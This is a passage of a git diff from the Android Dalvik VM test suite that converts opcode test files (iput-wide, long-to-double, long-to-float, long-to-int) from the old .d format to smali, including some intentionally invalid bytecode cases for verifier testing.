+.class  public Ldot/junit/opcodes/iput_wide/d/T_iput_wide_8;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+       new-instance v0, Ldot/junit/opcodes/iput_wide/TestStubs;
+       invoke-direct {v0}, Ldot/junit/opcodes/iput_wide/TestStubs;-><init>()V
+       
+       const-wide v1, 0
+       iput-wide v1, v0, Ldot/junit/opcodes/iput_wide/TestStubs;->TestStubField:J
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_wide/d/T_iput_wide_9.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_wide/d/T_iput_wide_9.d
deleted file mode 100644
index aecd210..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_wide/d/T_iput_wide_9.d
+++ /dev/null
@@ -1,36 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iput_wide_9.java
-.class public dot.junit.opcodes.iput_wide.d.T_iput_wide_9
-.super java/lang/Object
-
-.field public st_i1 J
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       const-wide v0, 0
-       iput-wide v0, v2, dot.junit.opcodes.iput_wide.d.T_iput_wide_9noclass.st_i1 J
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_wide/d/T_iput_wide_9.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_wide/d/T_iput_wide_9.smali
new file mode 100644
index 0000000..acff113
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_wide/d/T_iput_wide_9.smali
@@ -0,0 +1,36 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iput_wide_9.java"
+.class  public Ldot/junit/opcodes/iput_wide/d/T_iput_wide_9;
+.super  Ljava/lang/Object;
+
+.field public st_i1:J
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       const-wide v0, 0
+       iput-wide v0, v2, Ldot/junit/opcodes/iput_wide/d/T_iput_wide_9noclass;->st_i1:J
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/long_to_double/d/T_long_to_double_1.d b/tools/vm-tests-tf/src/dot/junit/opcodes/long_to_double/d/T_long_to_double_1.d
deleted file mode 100644
index d1e068c..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/long_to_double/d/T_long_to_double_1.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_long_to_double_1.java
-.class public dot.junit.opcodes.long_to_double.d.T_long_to_double_1
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(J)D
-.limit regs 8
-
-       long-to-double v0, v6
-       return-wide v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/long_to_double/d/T_long_to_double_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/long_to_double/d/T_long_to_double_1.smali
new file mode 100644
index 0000000..70a05bb
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/long_to_double/d/T_long_to_double_1.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_long_to_double_1.java"
+.class  public Ldot/junit/opcodes/long_to_double/d/T_long_to_double_1;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(J)D
+.registers 8
+
+       long-to-double v0, v6
+       return-wide v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/long_to_double/d/T_long_to_double_2.d b/tools/vm-tests-tf/src/dot/junit/opcodes/long_to_double/d/T_long_to_double_2.d.done
similarity index 100%
rename from tools/vm-tests-tf/src/dot/junit/opcodes/long_to_double/d/T_long_to_double_2.d
rename to tools/vm-tests-tf/src/dot/junit/opcodes/long_to_double/d/T_long_to_double_2.d.done
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/long_to_double/d/T_long_to_double_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/long_to_double/d/T_long_to_double_2.smali
new file mode 100644
index 0000000..e29733a
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/long_to_double/d/T_long_to_double_2.smali
@@ -0,0 +1,39 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/long_to_double/d/T_long_to_double_2;
+.super Ljava/lang/Object;
+.source "T_long_to_double_2.java"
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 1
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
+
+
+# virtual methods
+.method public run(J)D
+    .registers 8
+
+    const p1, 0x40490e56    # 3.1415f
+
+    long-to-double v0, p1
+
+    return-wide v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/long_to_double/d/T_long_to_double_3.d b/tools/vm-tests-tf/src/dot/junit/opcodes/long_to_double/d/T_long_to_double_3.d
deleted file mode 100644
index 83c423c..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/long_to_double/d/T_long_to_double_3.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_long_to_double_3.java
-.class public dot.junit.opcodes.long_to_double.d.T_long_to_double_3
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(J)D
-.limit regs 8
-
-       const v6, 1234
-       long-to-double v0, v6
-       return-wide v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/long_to_double/d/T_long_to_double_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/long_to_double/d/T_long_to_double_3.smali
new file mode 100644
index 0000000..7dcc7f6
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/long_to_double/d/T_long_to_double_3.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_long_to_double_3.java"
+.class  public Ldot/junit/opcodes/long_to_double/d/T_long_to_double_3;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(J)D
+.registers 8
+
+       const v6, 1234
+       long-to-double v0, v6
+       return-wide v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/long_to_double/d/T_long_to_double_4.d b/tools/vm-tests-tf/src/dot/junit/opcodes/long_to_double/d/T_long_to_double_4.d
deleted file mode 100644
index 03bc7bd..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/long_to_double/d/T_long_to_double_4.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_long_to_double_4.java
-.class public dot.junit.opcodes.long_to_double.d.T_long_to_double_4
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(J)D
-.limit regs 8
-
-       long-to-double v0, v5
-       return-wide v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/long_to_double/d/T_long_to_double_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/long_to_double/d/T_long_to_double_4.smali
new file mode 100644
index 0000000..b775b66
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/long_to_double/d/T_long_to_double_4.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_long_to_double_4.java"
+.class  public Ldot/junit/opcodes/long_to_double/d/T_long_to_double_4;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(J)D
+.registers 8
+
+       long-to-double v0, v5
+       return-wide v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/long_to_double/d/T_long_to_double_5.d b/tools/vm-tests-tf/src/dot/junit/opcodes/long_to_double/d/T_long_to_double_5.d
deleted file mode 100644
index 6656834..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/long_to_double/d/T_long_to_double_5.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_long_to_double_5.java
-.class public dot.junit.opcodes.long_to_double.d.T_long_to_double_5
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(J)D
-.limit regs 8
-
-       long-to-double v0, v8
-       return-wide v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/long_to_double/d/T_long_to_double_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/long_to_double/d/T_long_to_double_5.smali
new file mode 100644
index 0000000..0c54681
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/long_to_double/d/T_long_to_double_5.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_long_to_double_5.java"
+.class  public Ldot/junit/opcodes/long_to_double/d/T_long_to_double_5;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(J)D
+.registers 8
+
+       long-to-double v0, v8
+       return-wide v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/long_to_double/d/T_long_to_double_6.d b/tools/vm-tests-tf/src/dot/junit/opcodes/long_to_double/d/T_long_to_double_6.d
deleted file mode 100644
index 8e430fe..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/long_to_double/d/T_long_to_double_6.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_long_to_double_6.java
-.class public dot.junit.opcodes.long_to_double.d.T_long_to_double_6
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(D)D
-.limit regs 8
-
-       long-to-double v0, v6
-       return-wide v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/long_to_double/d/T_long_to_double_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/long_to_double/d/T_long_to_double_6.smali
new file mode 100644
index 0000000..621d011
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/long_to_double/d/T_long_to_double_6.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_long_to_double_6.java"
+.class  public Ldot/junit/opcodes/long_to_double/d/T_long_to_double_6;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(D)D
+.registers 8
+
+       long-to-double v0, v6
+       return-wide v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/long_to_float/d/T_long_to_float_1.d b/tools/vm-tests-tf/src/dot/junit/opcodes/long_to_float/d/T_long_to_float_1.d
deleted file mode 100644
index 3f0602b..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/long_to_float/d/T_long_to_float_1.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_long_to_float_1.java
-.class public dot.junit.opcodes.long_to_float.d.T_long_to_float_1
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(J)F
-.limit regs 8
-
-       long-to-float v0, v6
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/long_to_float/d/T_long_to_float_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/long_to_float/d/T_long_to_float_1.smali
new file mode 100644
index 0000000..b853c78
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/long_to_float/d/T_long_to_float_1.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_long_to_float_1.java"
+.class  public Ldot/junit/opcodes/long_to_float/d/T_long_to_float_1;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(J)F
+.registers 8
+
+       long-to-float v0, v6
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/long_to_float/d/T_long_to_float_2.d b/tools/vm-tests-tf/src/dot/junit/opcodes/long_to_float/d/T_long_to_float_2.d
deleted file mode 100644
index 0f4a557..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/long_to_float/d/T_long_to_float_2.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_long_to_float_2.java
-.class public dot.junit.opcodes.long_to_float.d.T_long_to_float_2
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(D)F
-.limit regs 8
-
-       long-to-float v0, v6
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/long_to_float/d/T_long_to_float_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/long_to_float/d/T_long_to_float_2.smali
new file mode 100644
index 0000000..503ac5f
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/long_to_float/d/T_long_to_float_2.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_long_to_float_2.java"
+.class  public Ldot/junit/opcodes/long_to_float/d/T_long_to_float_2;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(D)F
+.registers 8
+
+       long-to-float v0, v6
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/long_to_float/d/T_long_to_float_3.d b/tools/vm-tests-tf/src/dot/junit/opcodes/long_to_float/d/T_long_to_float_3.d
deleted file mode 100644
index 002e5d5..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/long_to_float/d/T_long_to_float_3.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_long_to_float_3.java
-.class public dot.junit.opcodes.long_to_float.d.T_long_to_float_3
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(J)F
-.limit regs 8
-
-       const v6, 1234
-       long-to-float v0, v6
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/long_to_float/d/T_long_to_float_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/long_to_float/d/T_long_to_float_3.smali
new file mode 100644
index 0000000..a395a8f
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/long_to_float/d/T_long_to_float_3.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_long_to_float_3.java"
+.class  public Ldot/junit/opcodes/long_to_float/d/T_long_to_float_3;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(J)F
+.registers 8
+
+       const v6, 1234
+       long-to-float v0, v6
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/long_to_float/d/T_long_to_float_4.d b/tools/vm-tests-tf/src/dot/junit/opcodes/long_to_float/d/T_long_to_float_4.d
deleted file mode 100644
index acb99d1..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/long_to_float/d/T_long_to_float_4.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_long_to_float_4.java
-.class public dot.junit.opcodes.long_to_float.d.T_long_to_float_4
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(J)F
-.limit regs 8
-
-       long-to-float v0, v5
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/long_to_float/d/T_long_to_float_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/long_to_float/d/T_long_to_float_4.smali
new file mode 100644
index 0000000..0b358b3
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/long_to_float/d/T_long_to_float_4.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_long_to_float_4.java"
+.class  public Ldot/junit/opcodes/long_to_float/d/T_long_to_float_4;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(J)F
+.registers 8
+
+       long-to-float v0, v5
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/long_to_float/d/T_long_to_float_5.d b/tools/vm-tests-tf/src/dot/junit/opcodes/long_to_float/d/T_long_to_float_5.d
deleted file mode 100644
index 5cb993e..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/long_to_float/d/T_long_to_float_5.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_long_to_float_5.java
-.class public dot.junit.opcodes.long_to_float.d.T_long_to_float_5
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(J)F
-.limit regs 8
-
-       long-to-float v0, v8
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/long_to_float/d/T_long_to_float_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/long_to_float/d/T_long_to_float_5.smali
new file mode 100644
index 0000000..b24579a
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/long_to_float/d/T_long_to_float_5.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_long_to_float_5.java"
+.class  public Ldot/junit/opcodes/long_to_float/d/T_long_to_float_5;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(J)F
+.registers 8
+
+       long-to-float v0, v8
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/long_to_int/d/T_long_to_int_1.d b/tools/vm-tests-tf/src/dot/junit/opcodes/long_to_int/d/T_long_to_int_1.d
deleted file mode 100644
index 2f73956..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/long_to_int/d/T_long_to_int_1.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
